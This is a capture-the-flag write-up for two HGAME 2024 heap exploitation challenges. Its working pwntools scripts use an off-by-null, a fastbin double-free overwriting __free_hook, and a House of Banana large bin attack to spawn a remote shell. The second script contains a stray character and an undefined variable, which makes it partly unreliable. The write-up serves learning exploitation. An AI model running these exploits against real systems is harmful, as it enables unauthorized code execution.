Try   HackMD

HGAME 2024 Week3

links:

PWN. Overflow

An off-by-null challenge.

References

Synopsis

  • No edit function similar to the Fast Note challenge;
  • And there is no UAF:
    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Notes amount is limited, it won't allocate more notes without an empty slot.
  • There is an off-by-null vulnerability that after the read content a \0 is added to the tail:
    CleanShot 2024-02-16 at 05.07.32@2x
  • PIC enabled so no static address is available for directly writing.
  • The size of note is limited to 0xff.

Exp & Explainations

Please refer to the comment in the exploitation script.

from functools import wraps from pwn import * context.arch = "amd64" # context.log_level = "debug" def getr(): r = remote("127.0.0.1", 9000) # r = remote("106.14.57.14", 31059) hello = r.recvuntil(b"Your choice:") print(hello.decode()) r.unrecv(hello) return r r = getr() def wait(f): @wraps(f) def w(*args, **kwargs): r.recvuntil(b"Your choice:") r.clean() return f(*args, **kwargs) return w @wait def add(x, size, content): r.sendline(b"1") # add r.sendlineafter(b"Index", b"%d" % x) r.sendlineafter(b"Size", b"%d" % size) r.send(content) # content @wait def show(x): r.sendline(b"2") # show r.sendlineafter(b"Index: ", b"%d" % x) d = r.recvuntil(b"Your choice:") r.unrecv(d) d = d[: d.find(b"\n1.Add")] return d @wait def rm(x): r.sendline(b"3") # rm r.sendline(b"%d" % x) # index # helper functions to simplify tcache handling def drain_tc(size): for i in range(7): add(i, size, b"TC".ljust(size, str(i).encode())) def fill_tc(): for i in range(7): rm(i) # critical techniques are learnt from awsome shellphish's how2heap: # https://github.com/shellphish/how2heap/blob/master/glibc_2.27/poison_null_byte.c # https://github.com/shellphish/how2heap/blob/master/glibc_2.27/fastbin_dup.c drain_tc(0xFF) # enable tc chunks, we want the victim (0x110) to go into unsorted bins # overflow-er chunk add(10, 0x10, b"0" * 0x10) # actuall size: 0x20, max allowed content size: 0x18 # victim chunk #11 # allocated size => 0x100 + 0x10 # soon overwritten to 0x100 so the tail becomes fake prev_size fake_11 = None # fake #11 becomes 0x100 sized fake_11_next = p64(0x100) + p64(0x10) # fake header [prev size, size] add(11, 0xFF, fake_11_next.rjust(0x100, b"1")[:0xFF]) # emplace #11 # this bypass the size check when the chunk is freed # see https://github.com/shellphish/how2heap/blob/72a6ddecf84229eba8a99ac52dc6fb46c2c06856/glibc_2.27/poison_null_byte.c#L49-L57 # #12 should also go into unsorted bins so that we tirgger consolidate on them add(12, 0x80, b"2" * 0x80) add(15, 5, b"LATCH") fill_tc() rm(11) # #11 goes into unsorted bins, now #12.prev_inuse == 0 rm(10) # #10 is in tcahce, but in doesn't matter since its job is just overflow # overflow #11, fake prev_size => 0x100 add(10, 0x18, b"0" * 0x18) # we are going to consolidate this chunk with #12 in unsorted bins # so its size should be the same as tcaches' and #12 add(11, 0x80, b"1" * 0x80) # size of #13 never takes effect, it's just a double-free handler add(13, 0x30, b"3" * 0x30) drain_tc(0x80) # let #11 and #12 go into unsorted bins fill_tc() rm(11) rm(12) # #13 is inside the consolidated bin # allocate a chunk reaching #13 so that the next chunk is overlapped drain_tc(0x80) # we don't want to allocate from tcaches add(11, 0x80, b"PADDING") add(12, 0x80, b"2" * 0x80) # 12 is overlapped with #13 now! # Leak libc fill_tc() # 0x80 rm(12) arena_ref = u64(show(13).ljust(8, b"\0")) libc_base = arena_ref - 0x3EBCA0 # malloc_hook = libc_base + 0x3EBC30 free_hook = libc_base + 0x3ED8E8 system = libc_base + 0x4F420 success( f"libc_base: {hex(libc_base)}, free_hook: {hex(free_hook)}, system: {hex(system)}" ) # perform fastbin double-free # we are going to hijack free() to system() rm(11) # starts from a big unsorted bin # all from unsorted bins: add(8, 0x40, b"PADDING") add(9, 0x30, b"PADDING") # we want fast bins this time add(12, 0x30, b"OVERLAP") # overlapped with #13 add(11, 0xC0, b"DRAIN") # drain unsorted bins # #9, #12, #13 go into fastbins drain_tc(0x30) fill_tc() rm(12) rm(9) rm(13) # double-freed on #12 / #13 rm(11) # just empty a slot for tiding up info("there should be a circular linked list on fastbin[0x40]") pause() drain_tc(0x30) add(11, 0x30, p64(free_hook)) # fake fd add(12, 0x30, b"ANY") add(13, 0x30, p64(free_hook)) add(9, 0x30, p64(system)) # will allocate on free_hook, overwrite to system() info("About to trigger free_hook / system()") pause() # trigger free_hook / system() add(14, 0x80, b"/bin/sh\0") rm(14) r.interactive()

PWN. RingIII

There is a living demo of this challenge hosted on Google Colab. If you want to interactively discover the exploitation, please refer to it.

Quick View

Comparing to the previous challenge, there are some significant changes.

  • Note size is limited to match large bins. Without fast bins and tcaches it won't be possible to cheat malloc() into returning arbitrary address.
  • Full Relo is enabled, which means it won't be possible to directly tamper the notes[] array to aquire arbitrary RW.

But we still have a powerful UAF that allows us to directly control the heap chunks.

CleanShot 2024-02-20 at 03.38.32@2x
CleanShot 2024-02-20 at 03.38.06@2x

Since the only exploit entrance has been bound to large bins, let's get familiar with the large bin attack at first.

The large bin attack writes a single chunk address to a specified place. What next comes to mind immediatly may be, definitely we should replace some essential hooks or pointers, but what's it exactly?

House of Banana

Let me introduce the ultimate House of Banana technique.

Check these articles for the technique details.

We can use the large bin atttack to replace the l_next pointer inside the link_map of _rtld_global to insert a fake DSO.

When an ELF program is exiting, the ld checks every loaded DSO if it need to do cleanup jobs by calling its finish handlers. And by registering a fake DSO with our custom finish handler, we will be able to take control when the exit routine is trying to call our handler.

This works because the link_map is just a singly linked list, which is fragile and hard to be guaranteed the legality. And the nodes are emplaced at the very early stages, which restricts them to be static, thus their relative offsets are fixed.

Exp & Explainations

from functools import wraps from pwn import * context.arch = "amd64" context.log_level = "info" def getr(): r = remote("127.0.0.1", 9000) # r = remote("106.14.57.14", 32405) hello = r.recvuntil(b">") print(hello.decode()) r.unrecv(hello) return r r = getr() libc = ELF("./libc.so.6") def wait(f): @wraps(f) def w(*args, **kwargs): r.recvuntil(b">") r.clean() return f(*args, **kwargs) return w @wait def rm(x): r.sendline(b"2") # rm r.sendlineafter(b"Index", b"%d" % x) # index @wait def edit(x, content): r.sendline(b"3") # edit r.sendlineafter(b"Index", b"%d" % x) r.sendafter(b"Content", content) # content @wait def show(x): r.sendline(b"4") # show r.sendlineafter(b"Index: ", b"%d" % x) d = r.recvuntil(b">") r.unrecv(d) d = d[: d.find(b"\n1. Add")] return d @wait def add(x, size, content=None): r.sendline(b"1") # add r.sendlineafter(b"Index", b"%d" % x) r.sendlineafter(b"Size", b"%d" % size) if content: edit(x, content) def shift(x, amount): # !WARN: ensure the arena is clean """ 0 ~ 0x300 => +0x600 ~ +0x900 """ assert amount + 0x5F0 <= 0x900 assert x != 0 add(0, 0x5F0 + amount) add(x, 0x900) rm(x) rm(0) # arena is still clean def shift2(x, amount): # use 2 chunks as shifter, allow wider range """ 0 ~ 0x700 => +0xb00 ~ +0x1200 """ assert x not in (0, 14, 15) # amount == 0 => 0x5F0+0x510=0xb00 # max => 0x900+0x900=0x1200; amount == 0x1200-0xb00=0x700 assert x <= 0x700 if amount <= (0x900 - 0x600): add(14, 0x5E0 + amount) add(15, 0x500) add(x, 0x900) rm(x) rm(15) rm(14) else: amount -= 0x900 - 0x600 add(14, 0x8E0) add(15, 0x500 + amount) add(x, 0x900) rm(x) rm(15) rm(14) # arena is still clean # read N bytes on slot x # fill empty bytes with 'x' and restore them after reading def readx(x, size): data = b"" hd = 0 while hd < size: d = show(x) if len(d[hd:]) == 0: d = d[: hd + 1] + b"\0" edit(x, b"x" * len(d)) data += d[hd:] hd = len(data) edit(x, data) return data[:size] """ LAYOUT: #0 #1 #2 #15 ┌─────────┬────────┬──────┬─────────────────────────┬──────┬────────┐ │ shifter │ victim │ gap │ smaller container chunk │ gap │ kicker │ │ 0x700 │ 0x610 │ 0x10 │ 0x600 │ 0x10 │ 0x900 │ └─────────┴────────┴──────┴─────────────────────────┴──────┴────────┘ ▲ ▲ #11─┘ #12─┘ """ shift(11, 0x100 - 0x10) # 0x700 - 0x600 shift2(12, 0x220 - 0x10) # 0xd20 - 0xb00 # --------- DUMB THINGS ---------- shift2(13, 0x210 - 0x10) add(0, 0x6F0) add(1, 0x610) add(2, 0x5E0) add(14, 0x900) rm(14) rm(2) rm(1) rm(0) # NOTE: the annoying remote environment has some bugs, # that the server actually doesn't accept data sequence longer than 0x5a0 # I have to handle the chunk with more controllers, which should have not needed (#13, #14) # ----- THANKS TO THE SERVER ----- add(0, 0x6F0) add(1, 0x610) add(2, 0x600) add(15, 0x8F0, b"KICKER") # modify chunk layout through #11 & #12 edit(11, p64(0) + p64(0x611)) edit(13, p64(0) + p64(0x11))Ï edit(12, p64(0) + p64(0x601)) edit(14, p64(0) + p64(0x11)) # now kick the larger chunk into large bin and leak useful addresses rm(15) rm(1) add(15, 0x8F0, b"KICK!") # #1 goes into large bin fd_1, bk_1, fd_nextsize_1, bk_nextsize_1 = unpack_many(readx(1, 0x20), 64) chk_0 = fd_nextsize_1 - 0x6F0 # put some immediate values here main_area = fd_1 - 0x4D0 libc_base = main_area - 0x1E3BA0 heap_base = fd_nextsize_1 - 0x990 success(f"libc_base: {libc_base:#x}; arena: {main_area:#x}") success(f"heap_base: {heap_base:#x}") pause() rtld_global = libc_base + 0x21B040 # Oh, the offset is out of libc, why is it still correct? # => # https://web.archive.org/web/20210926220108/https://www.nul.pw/2018/06/09/263.html # https://web.archive.org/web/20210926221810/https://www.nul.pw/2018/06/09/267.html """ gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next $6 = (struct link_map *) 0x7fd51e23c790 gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next $7 = (struct link_map *) 0x7fd51e20a000 gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next->l_next $8 = (struct link_map *) 0x7fd51e23ba48 <_rtld_global+2568> gef➤ p _rtld_global._dl_ns[0]._ns_loaded->l_next->l_next->l_next->l_next $9 = (struct link_map *) 0x0 """ # link_map: vuln -> vdso -> libc -> ld # since nloaded == 4, we must replace ld A_dl_ns_libc = libc_base + 0x1EA000 A_dl_ns_libc_next = A_dl_ns_libc + 0x18 bk_nextsize_1 = A_dl_ns_libc_next - 0x20 # will write it back """ gef➤ ptype /ox *(_rtld_global._dl_ns[0]._ns_loaded->l_next->l_next) /* offset | size */ type = struct link_map { /* 0x0000 | 0x0008 */ Elf64_Addr l_addr; /* 0x0008 | 0x0008 */ char *l_name; /* 0x0010 | 0x0008 */ Elf64_Dyn *l_ld; /* 0x0018 | 0x0008 */ struct link_map *l_next; /* 0x0020 | 0x0008 */ struct link_map *l_prev; /* 0x0028 | 0x0008 */ struct link_map *l_real; /* 0x0030 | 0x0008 */ Lmid_t l_ns; /* 0x0038 | 0x0008 */ struct libname_list *l_libname; /* 0x0040 | 0x0268 */ Elf64_Dyn *l_info[77]; ... /* 0x0318 | 0x0004 */ unsigned int l_direct_opencount; /* 0x031c: 0x0 | 0x0004 */ enum {lt_executable, lt_library, lt_loaded} l_type : 2; /* 0x031c: 0x2 | 0x0004 */ unsigned int l_relocated : 1; /* 0x031c: 0x3 | 0x0004 */ unsigned int l_init_called : 1; /* 0x031c: 0x4 | 0x0004 */ unsigned int l_global : 1; /* 0x031c: 0x5 | 0x0004 */ unsigned int l_reserved : 2; /* 0x031c: 0x7 | 0x0004 */ unsigned int l_phdr_allocated : 1; /* 0x031d: 0x0 | 0x0004 */ unsigned int l_soname_added : 1; /* 0x031d: 0x1 | 0x0004 */ unsigned int l_faked : 1; /* 0x031d: 0x2 | 0x0004 */ unsigned int l_need_tls_init : 1; /* 0x031d: 0x3 | 0x0004 */ unsigned int l_auditing : 1; /* 0x031d: 0x4 | 0x0004 */ unsigned int l_audit_any_plt : 1; /* 0x031d: 0x5 | 0x0004 */ unsigned int l_removed : 1; /* 0x031d: 0x6 | 0x0004 */ unsigned int l_contiguous : 1; /* 0x031d: 0x7 | 0x0004 */ unsigned int l_symbolic_in_local_scope : 1; /* total size (bytes): 1152 */ /* the program elf l_direct_opencount = 0x1, l_type = lt_executable, l_relocated = 0x1, l_init_called = 0x1, l_global = 0x1, l_reserved = 0x0, l_phdr_allocated = 0x0, l_soname_added = 0x0, l_faked = 0x0, l_need_tls_init = 0x0, l_auditing = 0x0, l_audit_any_plt = 0x0, l_removed = 0x0, l_contiguous = 0x0, l_symbolic_in_local_scope = 0x0, l_free_initfini = 0x0, */ <elf.h> https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/elf.h#L879 #define DT_FINI 13 /* Address of termination function */ #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ #define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ #define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ */ """ A_fake_link_map = fd_nextsize_1 + 0x620 fake_link_map = ( # #12 # https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131 # destructor pointer is considered at l_addr + l_info[DT_FINI_ARRAY].d_un.d_ptr p64(0) # l_addr + p64(fd_nextsize_1 + 0xC40) # l_name, points to #kicker for debug + p64(0) # l_ld + p64(0) # l_next + p64(A_dl_ns_ld) # l_prev + p64(A_fake_link_map) # l_real, points to #12 ) fake_link_map = fake_link_map.ljust(0x31C, b"\0") fake_link_map += p8(0b00011110) # bit fields fake_link_map = fake_link_map.ljust(1152, b"\0") d_info_fini_array = p64(26) + p64(chk_0) # DT_FINI_ARRAY d_info_fini_arraysz = p64(28) + p64(8) # DT_FINI_ARRAYSZ fake_link_map = ( fake_link_map[: 0x40 + 8 * 26] + p64(A_fake_link_map + 1152) + p64(0) + p64(A_fake_link_map + 1152 + len(d_info_fini_array)) + fake_link_map[0x40 + 8 * 29 :] ) assert len(fake_link_map) == 1152 fake_link_map += d_info_fini_array fake_link_map += d_info_fini_arraysz # next perform large bin attack to mount #2 onto link_map rm(15) edit(1, p64(fd_1) + p64(bk_1) + p64(fd_nextsize_1) + p64(bk_nextsize_1)) rm(2) add(15, 0x8F0, b"KICK!") edit(12, fake_link_map) edit(0, p64(libc_base + 0xDF54C) * 4) # also, put the dtor pointer at #0 """ 0xdf54c execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp """ r.sendlineafter(b">", b"5") # exit r.interactive()